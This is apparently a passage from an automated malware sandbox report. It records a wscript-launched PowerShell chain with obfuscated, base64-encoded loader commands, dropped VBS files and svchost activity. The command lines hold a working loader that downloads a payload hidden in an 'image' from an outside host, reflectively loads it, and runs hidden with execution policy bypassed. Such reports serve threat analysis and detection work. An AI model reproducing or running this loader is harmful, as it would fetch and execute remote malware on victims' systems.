Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) \| . ( $pShoMe[4]+$PshoME[34]+'X')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) \| . ( $pShoMe[4]+$PshoME[34]+'X')"	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

13_2_004019F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC2809CA push E95B32D0h; ret	8_2_00007FFAAC2809C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFAAC280942 push E95B32D0h; ret	8_2_00007FFAAC2809C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0041C40C push cs; iretd	13_2_0041C4E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00423149 push eax; ret	13_2_00423179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0041C50E push cs; iretd	13_2_0041C4E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_004231C8 push eax; ret	13_2_00423179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0040E21D push ecx; ret	13_2_0040E230
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0041C6BE push ebx; ret	13_2_0041C6BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0791E558 push eax; iretd	13_2_0791E559

Persistence and Installation Behavior

Windows Shell Script Host drops VBS files

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
